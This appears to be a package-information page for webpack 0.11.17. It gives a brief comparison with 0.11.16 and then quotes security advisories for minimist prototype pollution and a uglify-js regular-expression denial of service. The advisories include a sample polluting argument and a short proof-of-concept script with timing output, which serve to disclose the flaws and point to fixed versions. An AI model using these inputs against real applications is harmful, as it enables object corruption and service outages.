Webpack version 0.11.17 represents a minor update to the popular module bundler, succeeding version 0.11.16. Both versions share the core functionality of packaging CommonJs, AMD, and labeled modules for browser deployment, enabling developers to split codebases into manageable bundles that can be loaded on demand, enhancing initial page load times and overall application performance. They also both offer support for loaders that preprocess various file types such as JSON, Jade, CoffeeScript, CSS, and Less, streamlining the development workflow and allowing developers to seamlessly integrate different technologies.
Examining the provided data, the key differentiator between version 0.11.16 and 0.11.17 appears to be the release date. Version 0.11.17 was released on December 31, 2013, while version 0.11.16 was released a couple of days before on December 29, 2013. The dependency and devDependency lists are identical, suggesting that the update likely involves bug fixes, performance improvements, or minor internal adjustments rather than significant feature additions or API changes. Developers currently using version 0.11.16 should consider upgrading to 0.11.17 to benefit from any fixes or optimizations implemented. For developers new to Webpack, both versions offer a solid foundation for module bundling, and while choosing the newest patch version seems logical, reviewing the changelog (if available) for specific fixes implemented in 0.11.17 is advisable.
All the vulnerabilities related to the version 0.11.17 of the package
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.